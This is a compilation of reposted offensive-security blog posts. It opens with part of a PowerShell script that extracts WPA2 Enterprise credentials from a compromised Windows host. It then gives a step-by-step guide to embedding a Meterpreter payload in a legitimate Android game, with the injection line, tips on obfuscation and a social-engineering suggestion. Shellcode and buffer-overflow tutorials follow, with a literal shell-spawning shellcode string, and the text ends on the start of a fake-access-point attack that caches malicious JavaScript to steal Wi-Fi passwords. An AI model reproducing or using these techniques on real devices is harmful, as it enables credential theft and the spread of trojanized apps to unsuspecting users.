        [byte[]]$Array,

        [Parameter(Mandatory = $false, Position = 1)]
        [byte]$Banned
    )

    $ArrayLength = $Array.Length - 1
    if($Array[$ArrayLength] -eq $Banned)
    {
        return $Array[0..($ArrayLength-1)]
    }
    return $Array
}

<#
.SYNOPSIS
This file uses the registry hive HKCU to retrieve binary data
that is protected by DPAPI functions to hide WPA Enterprise 
passwords.

#>
function Get-ProtectedData
{
    [CmdletBinding()]
    # File Array
    $Files = @();

    # Retrieves data to be used by DPAPI decrypt function
    Get-ChildItem HKCU:\Software\Microsoft\Wlansvc\UserData\Profiles\ | ForEach-Object {
        $currentFile = Get-TemporaryFileName
        $Files += $currentFile
        Write-Verbose "Created file $currentFile"
        [IO.File]::WriteAllBytes("C:\windows\temp\$currentFile", (Get-ItemProperty $_.PSPath -Name MSMUserData | Select-Object MSMUserData).MSMUserData) 
    }

    return $Files
}

function Get-TemporaryFileName
{
    return ([IO.Path]::GetRandomFileName()).Split(".")[0] + ".tmp"
}

Execute the above script to do all the work necessary to retrieve all WPA2 Enterprise domain credentials stored in this user session:

Screenshot

This is a very simple technique that might be useful for you on a compromised host where mimikatz only revealed to you a NTLM hash, but not a real plaintext password.

 

Реклама

Embedding Meterpreter in Android APK

( Original text by Joff Thyer )

Mobile is everywhere these days. So many applications in our daily life are being migrated towards a cloud deployment whereby the front end technology is back to the days of thin clients. As the pendulum swings yet again, our thin client can be anything from a JavaScript browser framework to a mobile enabled frontend such as Objective-C on Apple iOS, or Java based on Android.

Looking at malware, our friends at Apple continue to maintain the 5-guys in a cave paradigm of attempting to vet all apps that enter the iOS app store. While it is a noble effort, there are still instances where malware creeps through the door. Unlike Apple, the Android marketplace is an open approach that allows anyone to contribute to the play store, and moreover represents a majority of the mobile market share. In addition, there are various third party sites that allow direct download of Android applications package files (APK’s).


The Metasploit project allows a pentester to generate Android payloads with a pretty highly functional meterpreter command channel that can be loaded onto an Android device. Typically, loading this APK will be through the Android debugger “adb” through side loading. From a pen tester perspective, something that is fun to do is to combine a legitimate (perhaps fun) app with Meterpreter, and side load that app onto an Android device. Naturally, you would probably consider sending that device to a “friend” as a gift or some similar social engineering ruse.


Android applications are written in Java which compiles down to a Dalvik executable format known as DEX. The compiled version of an application is a ZIP file of DEX bytecode files. The Dalvik virtual machine on Android has been more recently replaced with Android RunTime (ART) which performs additional optimization and compiles the DEX bytecode into native assembly code. The Dalvik VM primarily performs Just In Time (JIT) interpretation of the majority of bytecode. ART is higher performing than the Dalvik virtual machine which only optimized portions of the bytecode for frequently executed parts of the app.

Smali/baksmali is an assembler/disassembler for Android DEX bytecode. An Android tool named “apktool” enables the disassembling of zipped DEX (APK files) into smali files, and reassembling of smali files back to DEX and subsequently to the zipped APK format. We can use this tool to disassemble, and modify an existing APK file. In this context, we can use the tool to disassemble, and add a additional static entry point into the smali code of the initial Android Activity to kick off our Meterpreter.

Overall the steps to embed a Meterpreter into an existing APK file are as follows:

  1. Find an existing fun APK application on “apkmonk.com” or similar mirror site.
  2. Generate the Metasploit APK file.
  3. Disassemble with “apktool” both the Metasploit APK file, and the APK file we are intending to modify.
  4. Copy all of the Meterpreter smali code over to the new APK smali directory.
  5. Find the entrypoint of the code within the APK application’s AndroidManifest.xml file by looking for the intent-filter with the line:
    <action android:name="android.intent.action.MAIN"/>

    The activity name that encloses this intent-filter will be the entrypoint you are seeking.

  6. Modify the activity “.smali” file to include a line that starts up the Meterpreter stage.
  7. Copy all of the Meterpreter permissions from the Meterpreter AndroidManifest.xml into the modified APK’s AndroidManifest.xml.
  8. Re-assemble into DEX zipped format.
  9. Sign the newly created APK file with “jarsigner”, and then side load onto your target Android device.

It is much easier to understand the above steps with a concrete example. To illustrate this, I downloaded an APK file of a game called Cowboy Shooting Game from apkmonk.com.

 


Generate Your Malware APK

I then generated a Metasploit APK using the “msfvenom” command as follows.

Generate Your Malware APK

I then generated a Metasploit APK using the “msfvenom” command as follows.


Disassemble the APK Files

Both files were then disassembled (baksmaling!!!) using the “apktool” as follows:

 

 


Copy the Malware Code Into the Cowboy Tools Game

An easy way to do this is to change directory into the Metasploit APK directory, then copy all of the files under the “smali” directory into the “com.CowboyShootingGames_2018-09-22” directory. An old trick I learned from a systems administrator to backup entire directory trees using the “tar” command comes in handy whereby you pipe the output of tar into a second command which changes directory and “untars” the resulting files.

 


Find the Activity EntryPoint

Below we can see that the entry activity is listed as “com.CowboyShootingGames.MainActivity”. We know this because the XML contains an intent-filter with “android.intent.action.MAIN” within it.

 


Modify the Activity EntryPoint Smali File

As can be seen above, in this case the file is going to be named “MainActivity.smali”, and will be located in the “com/CowboyShootingGames” directory as per the periods (“.”) in the fully qualified class path.

 


Within the “MainActivity.smali” file, we are looking for the “onCreate()” method.


We need to add a single line of “smali” code right below the “onCreate()” method call to invoke our Meterpreter stage.

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V


Please note that the above is a single line of code. It is possible to obfuscate by using a different pathname than “com/metasploit/stage/Payload” however if you do that you will have to modifiy all references to the path in all of the “smali” files that are contained in the “Payload” directory, and change the directory name itself. This can be done manually but is prone to error. Continuing without any obfuscation for a moment, the final result after modification will look like the below screenshot.

 

 

Add Permissions to the Modified APK “AndroidManifest.xml” File

For the next step, use “grep” to search for all of the lines in the Metasploit “AndroidManfest.xml” file that contain the strings “uses-permission”, and “uses-feature” into the modified APK’s AndroidManiest.xml file.

 


You will need to use an editor to insert the permissions at the appropriate place in the new “AndroidManifest.xml” file. Search for an existing “use-permission” line as your guideline of where to insert the text.

 


You might end up with some duplicate permissions. You can optionally remove them but it really does not matter.

Build the New APK Package File

Now use the “apktool” again to re-assemble the resulting APK package file. The end result will be written into a “dist” directory within the APK directory itself.

 


Re-Sign the Resulting Package File

For resigning, one easy method is to use the Android debugging keystore which is built if you install Android studio. The debugging keystore will be contained within the “.android” hidden directory in your home directory on a UN*X system.

 


An alternative method is to use the Java “keytool” to generate your own self-signed keystore and sign it using the “jarsigner” tool as shown in the screenshots below.

 

At this point in time, the “final.apk” file is ready to be loaded onto an Android system using “adb”.

In this specific case, I am running a copy of “GenyMotion” which is an x86 based emulator that uses VirtualBox for a very high performing Android emulation. One of the challenges you might immediately run into is that the x86 emulation will not natively support the ARM processor. To get around this challenge, there are some ARM translation libraries available online. You would need to search for “Genymotion-ARM-Translation_v1.1.zip” and then drag the ZIP file onto a running GenyMotion Android system. Unfortunately, this is not 100% reliable, and some app crashes may still result.

One certain way to make sure an ARM APK file runs on a device is to use a hardware device itself. I have found that the Nexus 6 series of devices are nice to work with as the “rooting” kit is fairly reliable, and attaching via a USB cable for testing is not too onerous.

 


The final step is of course to try out our newly infected Cowboy Shooting game. We find out quickly, that the moment we launch the game, we get a Meterpreter shell on our KALI system which just feels so right.

 


I really don’t think I am going to take the time to learn this game, which frankly was just a random pick from “apkmonk.com”.

So Many Complicated Steps… so much can go wrong…

So after performing all of the requisite steps above, I was immediately frustrated. There are so many moving parts that the chances of error are pretty high. There are likely other tools out there which are available to use but I decided to whip up a quick Python script to automate this process. I called it “android_embedit.py” and I will warn you now, this is definitely a quick and dirty effort to get something to do the job without much effort on hardening the logic at all.

 


The idea of “android_embedit.py” is that if you supply a Metasploit generated APK file, an original APK to modify, and a keystore, it will perform all of the steps in an automated fashion and generate the result for you.

Below is an example of running the tool. All of the temporary files, and output will be stored in the “~/.ae” directory.

 

The tool also will remove the “metasploit” directory name and obfuscate it with a random string directory name automatically. You can see this result in the below screenshot in which I listed the contents of the APK “smali/com” directory. The directory named “dbarpubw” actually contains the Metasploit stager code.

 


There is much continuing fun to be had with mobile apps, and their associated application programming interfaces. It is a good idea to get familiar with the platforms as a pen tester as you will undoubtedly encounter a need to test in the mobile space before long.

I suppose you just might want to play with “Android EmbedIT” now! Well if you do, you can download from my github by visiting https://github.com/yoda66/AndroidEmbedIT.

Keep calm, and hack all the mobile things. ~Joff

 

Linux Buffer Overflows x86 – Part 3 (Shellcoding)

( Original text by SubZero0x9 )

Hello guys, this is the part 3 of the Linux buffer Overflows x86. In this part we will learn what is shellcode, why do we use it and how do we use it. In the previous two blogs, we learnt about process memory, stack region, stack operations, stack registers, attempting buffer overflow, overwriting buffer, modifying return address, manipulating program flow and program execution.
If you have not read the first two blogs, here are the links Part1 and Part2.

The main purpose behind exploiting Buffer Overflow is to spawn a reverse shell or execute arbitrary commands at least. Even if we find a vulnerable binary with stack overflow and are able to overwrite the return address, we still have to tell the binary to execute commands on our behalf. But how do we do that? Suppose we want to spawn a shell of a vulnerable binary, but the code to spawn a shell is not present in the binary. So, even if we control the flow of the binary we really can’t modify the return address to a memory address which can execute the code which spawns a shell. We saw in the previous two blogs, we were able to overwrite the buffer with any arbitrary data. This means, when the program is loaded into memory all the operations are carried out on the stack. Any user input accepted will be stored on the stack and if the program accepts malicious input (remember insufficient bound checking) it also gets stored on the stack. So instead of placing random data, if we place the code which we want to execute on to the stack it will give us the results.
Simple Right? NO !!

We can’t simply go ahead and paste the code of spawning a shell onto the buffer, because when the program is running it is loaded into the system memory and it communicates with the processor for carrying out the operations through syscalls which is understood by kernel who actually communicates with the processor to get things done(well this is a simplified statement, the actual process is too complex). Now the processor doesn’t understand C,C++, JAVA, Python, etc. it only understands the machine code which it can directly execute. And We, human beings can’t understand machine code so we write programs in high level languages. Also, machine code is mostly regarded as the lowest level representation of compiled code. Another main reason we use machine code is because of the size. The space available in the stack for operations are very limited and machines codes are really compact in that sense.

SHELLCODE

So till now it is pretty clear that the code or payload used to exploit the buffer overflow vulnerability to execute arbitrary commands is called Shellcode. Its name is derived from the fact that it was initially used to spawn a root shell. Shellcode is basically a set of machine code or set of instructions injected into the buffer of the vulnerable program. The vulnerable program then executes the shellcode.

Shellcodes are machine codes. Basically, we write a set of instructions in a high level language or assembly language then convert into hexadecimal values (these values are just a bunch of opcodes and operands understood by the processor).

We cannot run shellcode directly, instead it needs a some sort of carrier (buffer, file, process, environment variables, etc) which will be read or executed by the vulnerable software. There are many shellcode execution strategies which are used depending on the exploitability and constraints of the vulnerable software.

Shellcodes are written mainly to force the program to do actions on the behalf of the attacker. The attacker can write a specific function which will do the intended action once loaded into the same address space of the vulnerable software. Every action (well almost) in an operating system is done by calling a syscall or system calls. The shellcode will also contain a syscall for a specific action which the attacker needs to perform. Syscalls are the most important thing in the shellcode as you can force the program to perform action just by triggering a syscall.

SYSCALLS

According to wikipedia, “In computing, a system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on. ”

Linux’s security mechanism (the ring model) is divided into two spaces : User Space and Kernel space. Eevery process running in the userspace has its own virtual address space and cannot access any other processes address space until explicitly allowed. When the process in the userspace wants to access the kernel space to execute some operations, it cannot directly access it. No processes in the userspace can access the kernel space.

When an userspace process tries to access the kernel, an exception is raised and prevents the process from accessing the kernel space. The userspace processes uses the syscalls to communicate with the kernel processes to carry out the operations.

Syscalls are a bunch of functions which gives a userland process direct access to the kernel space to carryout low level functions. In simpler words, Syscalls are an interface between user mode and kernel mode.

In Linux, syscalls are generated using the software interrupt instruction, int 0x80. So, when a process in the user mode executes the int 0x80 instruction, the flow is transferred from the user mode to kernel mode by the CPU and the syscall is executed. Other than syscalls, there are standard library functions like the libc (which is extensively used in the linux OS). These standard library functions also call the syscall in some way or another (not everytime though). But we wont look into that as we are not going to use library functions in our shellcode. Also, using syscall is much nicer because there is no linking involved with any library as needed in other programming languages.

Note: The software interrupt int 0x80 was proving to be slower on the Pentium processors, so Linus introduced two new alternative namely SYSENTER/SYSEXIT instructions which were provided by all Pentium II+ processors. We will use the int 0x80 instruction in our shellcode however.

HOW TO USE SYSCALLS

When a process is in the userspace and the syscall instruction is executed, the interrupt handler i.e the software interrupt int 0x80 tells the CPU to change the execution from user mode to kernel mode. Now the system call handler is notified to call the routine which the userland process wanted. All the syscalls are stored in a syscall table, it is a big array which points to the memory address of the syscall routines. When the syscall is called, the syscall number is loaded into EAX register, this is how the system call handler comes to know which system call routine to execute. Keep in mind that the execution done here is carried out on the Kernel space stack and after the execution the control is given back to the userspace process and the remaining operation is carried out on userspace stack.

Here is the list of all the syscalls (x86):- http://syscalls.kernelgrok.com/

Each syscall is assigned a syscall number (an integer value) for basic naming convention. Every syscall has arguments which are necessary to execute the related operations. The syscall number is stored in the EAX register and the arguments are stored in the EBX , ECX , EDX , ESI and EDI respectively.

All the linux syscalls are well documented with instructions of how to implement them in your program. Usually we can use the syscall in normal C program or we can go ahead and do the same in an assembly language. Since we are writing our own shellcode, we have to dip our hands in the world of assembly language.

So what we will do is, write a C program with the syscall, disassemble the program, see the assembly instructions, write the assembly equivalent, make the necessary changes and extract the shellcode. Now we could have done this in assembly language directly but for getting the whole idea of how a program works from the high level to low level I am choosing this path.

Basic Assembly knowledge is needed for this, if you are new to Assembly then you can read the Assembly and Shellcoding blog series by my friend SLAER.

SPAWNING A SHELL

Lets write a shellcode for spawning a shell. We will use execve syscall for this operation.

First, lets take a look at the man page for execve..

The whole function looks like this:-

Here, filename is the command or program which we want to execute, in our case “/bin/sh”. Argv is an array of the argument string passed to the new program and it should contain the filename in its first index. Envp array can be NULL. Also the argvand envp array must end with a NULL.

We will initiate a char array spawnshell[2], with spawnshell[0]= “/bin/sh” and the next index being NULL i.e spawnshell[1]=NULL. We declared the last index as NULL because argv must end with a NULL byte.

So, execve will look like:

The C code for spawning a shell :

Compiling the program:

(We used static flag while compiling to prevent the dynamic linking as we want to disassemble the execve function.)

Running the executable we get a shell.

Lets disassemble the main function in our favorite GDB:

Here, the execve is called from the libc library, because we wrote a C program and used stdlib. Before calling the execve() function, the arguments required by it are stored on the stack. We will see the important instructions in detail:

sub $0x14, %esp -> Subtracting 14 from ESP, this is how the space is allocated on the stack.

1) movl $0x80bb868,-0x14(%ebp) -> Moving the memory address 0x80bb868 which contains “/bin/sh” on the stack. (You can see the value by using the command x/1s 0x80bb868 in GDB)

2) movl $0x0,-0x10(%ebp) -> Moving 0 on the stack at -0x10(%ebp), means the NULL byte after the “/bin/sh”.

3) mov -0x14(%ebp),%eax -> EAX now has the “/bin/sh”.

4) push $0x0 -> 0 is pushed onto the stack.

5) lea -0x14(%ebp),%edx -> The effective address of -0x14(%ebp) is loaded into EDX i.e EDX is pointing to the pointer of “/bin/sh”.

6) push %edx -> Pushing the value of EDX on the stack.

7) push %eax -> Pushing the value of EAX on the stack.

8)call 0x806c990 <execve> -> calling the function execve.

So what does this mean? Every numbered points are explained below in the same manner:-

1) filename = “/bin/sh”

2) filename = “/bin/sh” followed by NULL

3) argv[0]= “/bin/sh”

4) 0 is pushed for the envp

5) pointing to the pointer of “/bin/sh” i.e argv

6) EDX=argv

7) EAX= filename

8) execve function is called

Now the execve function according to the arguments pushed onto the stack will look like:-

execve(EAX, EDX,0)

So, now we know what to do with the assembly instructions. Lets write an assembly program for execve syscall.

Lets look at the execve syscall w.r.t assembly instructions:

Assembly program:-

Assemble this program:

Link this program:

Running the program we can see we get a shell.

Now, we want to extract the opcodes from the executable to form our shellcode. We will use objdump utility to display the object file.

Here, we can see in the right side, the assembly instructions that we wrote and in the left side opcodes for those instructions. Now we just have to copy these opcodes and execute it from C program which will act as a carrier for our shellcode.

Our Shellcode now is:

“\xc7\x05\xa8\x90\x04\x08\xa0\x90\x04\x08\xb8\x0b\x00\x00\x00\xbb\xa0\x90\x04\x08\xb9\xa8\x90\x04\x08\xba\xac\x90\x04\x08\xcd\x80\xb8\x01\x00\x00\x00\xbb\x0a\x00\x00\x00\xcd\x80”

As we already know we cannot execute shellcode directly, we will be needing a program to execute it for us. Shellcode is always loaded into the virtual address space of the target process which we want to exploit. Shellcode cant have its own process space as it cant be executed directly and it doesn’t makes sense to load the shellcode in any other address space other than the vulnerable software.

Just for demonstration we will load the shellcode in the address space of our own program and see whether it gets executed or not.

We will write a small C program which will execute our shellcode:

So, whats the program doing?

First, we are defining a char array shellcode with our actual shellcode in it. Then, in the main() function we are defining a variable ret which is an int pointer.

Then we are making the ret variable point to an address which is 8 bytes (2 int value)from its own address.

Remember this will happen on the stack, and the addresses on the stack moves from higher order memory to the lower order memory. So, by adding 8 bytes to the address of ret variable we are actually making it points towards the main()function.

Then we are assigning the address of our shellcode array to the address of the retvariable which is pointing to the address of main. So before the program ends it will execute our shellcode.

Lets compile the program:

Running the program we get Segmentation fault (core dumped)

So, we can see that our shellcode didn’t work. Lets take a look at what is wrong with our shellcode.

We can see there are a bunch of NULL bytes in the opcodes i.e ‘00’. Now one important thing, mostly the shellcode is loaded into the user input buffer and mostly it will be a char buffer or string buffer. If a NULL value occurs in the string, it terminates the string right there and doesn’t accept anything after the NULL termination. So our shellcode containing NULL values wont work. So we have to find a way to eliminate the NULL values.

Also, we are using hardcoded addresses in our shellcode. As we can see the mov instructions, all those addresses are machine specific hardcoded addresses. It is highly likely that it might not work in different versions of linux. So we have to deal with that also. One thing we can do is somehow load the starting address of our shellcode in the memory and using that reference we can make the necessary operations relative to this address. Now this is called as relative addressing. We will see this later in more detail.

Now the important part is to modify the assembly code with the two requirements mentioned above, getting rid of the NULL values and implementing relative addressing for avoiding hardcoded addresses .

REFINING THE SHELLCODE

So lets start…

From the above assembly program we know what instructions are needed to create our shellcode. In the above program we defined an ASCII string with “/bin/sh” and assigned the address of the string to another variable which will act as the pointer. But in the shellcode we will get the memory address of that variable and it will not work around different linux machines as the address may differ.

So in the manpages of the execve syscall it is clearly stated that, “The argv and envp arrays must each include a null pointer at the end of the array.” In our case envparray is already NULL, but the filename i.e the first index of argv pointer should also end with a NULL value. In the above assembly program we were defining separate variables for each argument of the syscall, but now we cant do that.

The execve syscall has three char pointer arguments. For the first argument we will have “/bin/shA”. We are appending A because we directly cant add a NULL value as it will hamper our shellcode, instead we will assign the index of A, a null value from the register. For the next char argument we will append four B’s as char is 4 bytes. Now the second argument is a pointer to the start of the address of the filename. Here we will assign the index of the starting B with the address of the starting memory address of filename. The third argument is the envp array which is a NULL pointer and we will append it with four C’s and then we will assign the index of the first C with a null value.

The representation of execve syscall arguments w.r.t registers will be like:

int execve(EBX, ECX, EDX); and the execve syscall number 11 will be loaded in the EAX register.

Below is the representation of the string which we will load along with the index in hex.

Lets take a look into the final assembly program for our shellcode.

Refined assembly program for Shellcode:

Now I will explain in detail what we have done.

-> We are starting our shellcode with a jmp instruction. jmp instruction will make an unconditional jump to the specified memory location. It will skip the actual shellcode and directly jump to the ShellcodeCall memory address.

-> In there the call instruction is executed which will directly point our Shellcode. Now what happens here is the most important thing. When the call instruction is executed the next instruction or memory address which contains the string “/bin/shABBBBCCCC” is pushed onto the top of the stack as the ret address. This is how we implement relative addressing.

->Now the pop instruction is executed. So the pop instruction will load the retaddress which has the string in the ESI register. The ESI register has the memory location which points to “/bin/shABBBBCCCC”. ESI register will be the reference point for all the operation which we will perform so the issue of hardcoded addresses will be resolved.

->Next we are XORing the EAX register to avoid the NULL bytes. We are basically resetting the EAX register without assigning a NULL value.

->Then we are loading the value 0 from the AL register (As we all know the ALregister is the lower part of the EAX address which is already 0 after the XORing) to the 7th index of the ESI register which will replace the A in our string with a null value.

-> Then we are loading the value of ESI i.e the start address of our string into the 8th index of ESI register replacing the B’s in our string.

->Then we are loading 0 from the AL register into the 12th index of our ESI register i.e replacing the C’s with 0’s.

-> Then we are loading the arguments of execve into the EBXECX and EDXregisters.

->Then we are loading the execve syscall number 11 into AL register again avoiding the NULL bytes because the higher part of the EAX register holds 0.

-> Lastly we make a software interrupt which will execute the syscall.

Now lets take a look at the opcodes after assembling and linking the assembly program.

As we can see there are no null bytes and the hardcoded addresses are also solved.

Now lets copy our shellcode into the C program which we wrote earlier to check whether our shellcode executes or not.

Lets run the compiled C program binary and see if it works.

VOILA !!!

We successfully spawned a shell with our own shellcode.

This was a very basic example of writing a working shellcode. Now there are many situations where you want take a reverse shell over the network and you have to write a shellcode for that. That would be a really challenging task to write a shellcode of that manner. This blog post only introduced what a shellcode looks like and how much pain you have to take to write a simple working shellcode.

In the next part, we will exploit a vulnerable binary and execute shellcode on that.

If you have any doubts or opinions, kindly express yourselves in the comment section. Thanks !!!

Linux Buffer Overflows x86 Part 2 ( Overwriting and manipulating the RETURN address)

( Original text by SubZero0x9 )

Hello Friends, this is the 2nd part of the Linux x86 Buffer Overflows. First of all I want to apologize for such a long delay after the First blog of this series, there were personal and professional issues going on in my life (Well who hasn’t got them? Meh?).

In the previous part we learned about the Process Memory, Stack Region, Stack Operations, Stack Registers, Attempting Buffer Overflow, Overwriting Buffer, ESP and EIP. In case you missed it, here is the link to the Part 1:

https://movaxbx.ru/2018/11/06/getting-started-with-linux-buffer-overflows-x86-part-1-introduction/

Quick Recap to the Part 1:

-> We successfully exploited the insufficient bound checking by giving input which was larger than the buffer size, which led to the overflow.

-> We successfully attempted to overwrite the buffer and the EIP (Instruction Pointer).

-> We used GDB debugger to examine the buffer for our input and where it was placed on the stack.

Till now, we already know how to attempt a buffer overflow on a vulnerable binary. We already have the control of EIP and ESP.

So, Whats Next ?

Till now we have only overwritten the buffer. We haven’t really exploit anything yet. You may have read articles or PoC where Buffer Overflow is used to escalate privileges or it is used to get a reverse shell over the network from a vulnerable HTTP Server. Buffer Overflow is mainly used to execute arbitrary commands on the vulnerable system.

So, we will try to execute arbitrary commands by using this exploit technique.

In this blog, we will mainly focus on how to overwrite the return address to manipulate the flow of control and program execution.

Lets see this in more detail….

We will use a simple program to manipulate its intended output by changing the RETURN address.

(The following example is same as the AlephOne’s famous article on Stack Smashing with some modifications for a better and easy understanding)

Program:

 

This is a very simple program where the variable random is assigned a value ‘0’, then a function named function is called, the flow is transferred to the function()and it returns to the main() after executing its instructions. Then the variable random is assigned a value ‘1’ and then the current value of random is printed on the screen.

Simple program, we already know its output i.e 1.

But, what if we want to skip the instruction random=1; ?

That means, when the function() call returns to the main(), it will not perform the assignment of value ‘1’ to random and directly print the value of random as ‘0’.

So how can we achieve this?

Lets fire up GDB and see how the stack looks like for this program.

(I won’t be explaining each and every instruction, I have already done this in the previous blog. I will only go through the instructions which are important to us. For better understanding of how the stack is setup, refer to the previous blog.)

In GDB, first we disassemble the main function and look where the flow of the program is returned to main() after the function() call is over and also the address where the assignment of value ‘1’ to random takes place.

-> At the address 0x08048430, we can see the value ‘0’ is assigned to random.

-> Then at the address 0x08048437 the function() is called and the flow is redirected to the actual place where the function() resides in memory at 0x804840b address.

-> After the execution of function() is complete, it returns the flow to the main()and the next instruction which gets executed is the assignment of value ‘1’ to random which is at address 0x0804843c.

->If we want to skip past the instruction random=1; then we have to redirect the flow of program from 0x08048437 to 0x08048443. i.e after the completion of function() the EIP should point to 0x08048443 instead of 0x0804843c.

To achieve this, we will make some slight modifications to the function(), so that the return address should point to the instruction which directly prints the randomvariable as ‘0’.

Lets take a look at the execution of the function() and see where the EIP points.

-> As of now there is only a char array of 5 bytes inside the function(). So, nothing important is going on in this function call.

-> We set a breakpoint at function() and step through each instruction to see what the EIP points after the function() is exectued completely.

-> Through the command info regsiters eip we can see the EIP is pointing to the address 0x0804843c which is nothing but the instruction random=1;

Lets make this happen!!!

From the previous blog, we came to know about the stack layout. We can see how the top of the stack is aligned, 8 bytes for the buffer, 4 bytes for the EBP, 4 bytes for the RET address and so on (If there is a value passed as parameter in a function then it gets pushed first onto the stack when the function is called).

-> When the function() is called, first the RET address gets pushed onto the stack so the program flow can be maintained after the execution of function().

->Then the EBP gets pushed onto the stack, so the EBP can act as the offset reference point for other instructions to access and calculate the memory addresses.

-> We have char array buffer of 5 bytes, but the memory is allocated in terms of WORD. Basically 1 word=4 bytes. Even if you declare a variable or array of 2 bytes it will be allocated as 4 bytes or 1 word. So, here 5 bytes=2 words i.e 8 bytes.

-> So, in our case when inside the function(), the stack will probably be setup as buffer + EBP + RET

-> Now we know that after 12 bytes, the flow of the program will return to main()and the instruction random = 1; will be executed. We want to skip past this instruction by manipulating the RET address to somehow point to the address after 0x0804843c.

->We will now try to manipulate the RET address by doing something like below :-

 

Here, we are introducing an int pointer ret, and we are assigning it the starting address of buffer + 12 .i.e (wait lets see this in a diagram)

-> So, the ret pointer now ends exactly at the start where the return value is actually stored. Now, we just want to add ret pointer with some value which will change the return value in such a manner that it will skip past the return = 1;instruction.

Lets just go back to the disassembled main function and calculate how much we have to add to the ret pointer to actually skip past the assignment instruction.

-> So, we already know we want to skip pass the instruction at address 0x0804843c to address 0x08048443. By subtracting these two address we get 7. So we will add 7 to the return address so that it will point to the instruction at address 0x08048443.

-> And now we will add 7 to the ret pointer.

 

So our final code should look like:

 

So, now we will compile our code.

 

Since we are adding code and re-compiling the program, the memory addresses will get changed.

Lets take a look at the new memory addresses.

-> Now the assignment instruction random = 1; is at address 0x08048452 and the next address which we want the return address to point is 0x08048459. The difference between these addresses is still 7. So we are good till now.

Hopefully by executing this we will get the output as “The value of random is: 0”

HOLY HELL!!!

Why did it gave the Segmentation fault (core dumped)? That means maybe the process is trying to access a memory that doesn’t exist or something.

Note:- Well this was really tricky for me atleast. Computers works in mysterious ways, it is not just mathematics, numbers and science ( Yeah I am being dramatic)

Lets fire up our binary in GDB and see whats wrong.

-> As you can see we set a breakpoint at line 4 and run the program. The breakpoint hits and the program halts. Then we examine the stack top and what we see, the distance between the start of the buffer and the start of return address is not 12, its 13. (It doesn’t even make sense mathematically). Three full block adds up for 12 bytes (4 bytes each) and 1 byte for that ‘A’ i.e 41.

-> Our buffer had value “ABCDE” in it. And A in ASCII hex is 41. From 41 to just right before of the return address 0x08048452, the count is 13 which traditionally is not correct. I still don’t know why the difference is 13 instead of 12, if anyone knows kindly tell me in the comments section.

-> So we just change our code from ret = buffer + 12; to ret = buffer + 13;

Now the final code will look like this:

 

Now, we re-compile it and run and hope its now going to give a desired output.

Before continuing lets see this again in GDB:

> So, we can see now after 7 is added to the ret pointer, the return address is now 0x08048459 which means we have successfully skipped past the assignment instruction and overwritten the return address to manipulate our way around the program flow to alter the program execution.

Till now we learnt a very important part of buffer overflow i.e how to manipulate and overwrite the return address to alter the program execution flow.

Now, lets another example where we can overwrite the return address in more similar ‘buffer overflow’ fashion.

We will use the program from protostar buffer overflow series. You can find more about it here: https://exploit-exercises.com/protostar/

 

Small overview of a program:-

->There is a function win() which has some message saying “code flow successfully changed”. So we assume this is the goal.
-> Then there is the main(), int pointer fp is declared and defined to ‘0’ along with char array buffer with size 64. The program asks for user input using the getsfunction and the input is stored in the array buffer.
-> Then there is an if statement where if fp is not equal to zero then it calls the function pointer jumping to some memory location.

Now we already know that gets function is vulnerable to buffer overflow (visit previous blog) and we have to execute the win() function. So by not wasting time lets find out the where the overflow happens.

First we will compile the code:

 

We know that the char array buffer is of 64 bytes. So lets feed input accordingly.

So, as we can see after the 64th byte the overflow occurs and the 65th ‘A’ i.e 41 in ASCII Hex is overwriting the EIP.

Lets confirm this in GDB:

-> As we see the buffer gets overflowed and the EIP is overwritten with ‘A’ i.e 41.

Now lets find the address of the win() function. We can find this with GDB or by objdump.

Objdump is a tool which is used to display information about object files. It comes with almost every Linux distribution.

The -d switch stands for disassemble. When we use this, every function used in a binary is listed, but we just wanted the address of win() function so we just used grep to find our required string in the output.

So it tells us that the win() function’s starting address is 0804846b. To achieve our goal we just have to pass this address after the 64th byte so that the EIP will get overwritten by this address and execute the win() function for us.

But since our machine is little endian (Find more about it here)we have to pass the address in a slightly different manner (basically in reverse). So the address 0804846b will become \x6b\x84\x04\x08 where the \x stands for HEX value.

Now lets just form our input:

As we can see the win() function is successfully executed. The EIP is also pointing the address of win().

Hence, we have successfully overwritten the return address and exploited the buffer overflow vulnerability.

Thats all for this blog. I am sorry but this blog also went quite long, but I will try to keep the next blog much shorter. And also, in the next blog we will try to play with shellcode.

 

 

Project Dribble: hacking Wi-Fi with cached JavaScript

( Original text by FEDERICO DE MEO )

I’ve been meaning to work on this little project for quite some time, but life got in the way and I was always too busy. Now I finally got some time back for myself and I’m here talking about it.

Quite some time ago I checked out the Wireless LAN Security Megaprimer course by Vivek Ramachandran (very nice, highly recommended) and incidentally in the same period I was doing some traveling which meant I got to stay in different hotels all providing Wi-Fi. Needless to say, my brain started to go crazy and I’ve thus been thinking about “unconventional” ways to get Wi-Fi passwords.

Can’t turn my brain off, you know.
It’s me.

We go into some place,
and all I can do is see the angles.
– Danny Ocean (Ocean’s Twelve)

The idea that I’m about to describe is pretty simple and, probably, not that new either. Nevertheless it was a fun way for me to get my hands dirty and play around with my Raspberry Pi which has been sitting on the shelf for too long.

Description

The idea is to steal Wi-Fi passwords by exploiting web browser’s cache. Since I needed to come up with a name for the project, I first developed it and than named it “Dribble” :-). Dribble creates a fake Wi-Fi access point and waits for clients to connect to it. When clients connect, dribble intercepts every HTTP requests performed to JavaScript pages and injects in the responses a malicious JavaScript code. The headers of the new response are altered too so that the malicious JavaScript code is cached and forced to persist in the browser. When the client disconnects from the fake access point and reconnects back to, say, its home routers, the malicious JavaScript code activates, steals the Wi-Fi password from the router and send it back to the attacker.
Pretty straightforward, right?

In order to achieve this result I had to figure out these three things:

  1. How to create a fake access point
  2. How to force people to connect to it
  3. What should the malicious JavaScript code do to steal passwords from routers

How to create a fake access point

This is pretty simple, it was also covered in the Wireless LAN Security Megaprimer and there are a number of different github repositories and gists that one can use to get started and create a fake access point. I thus won’t go too much into details but for the sake of completeness let’s discuss the one I used. I used hostapd to create the Wi-Fi access point, dnsmasq as a DHCP server and DNS relay server and iptables to create the NAT network. The bash script that follows will create a very simple Wi-Fi access point not protected by any password. I put some comments in the code that I hope will improve readability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
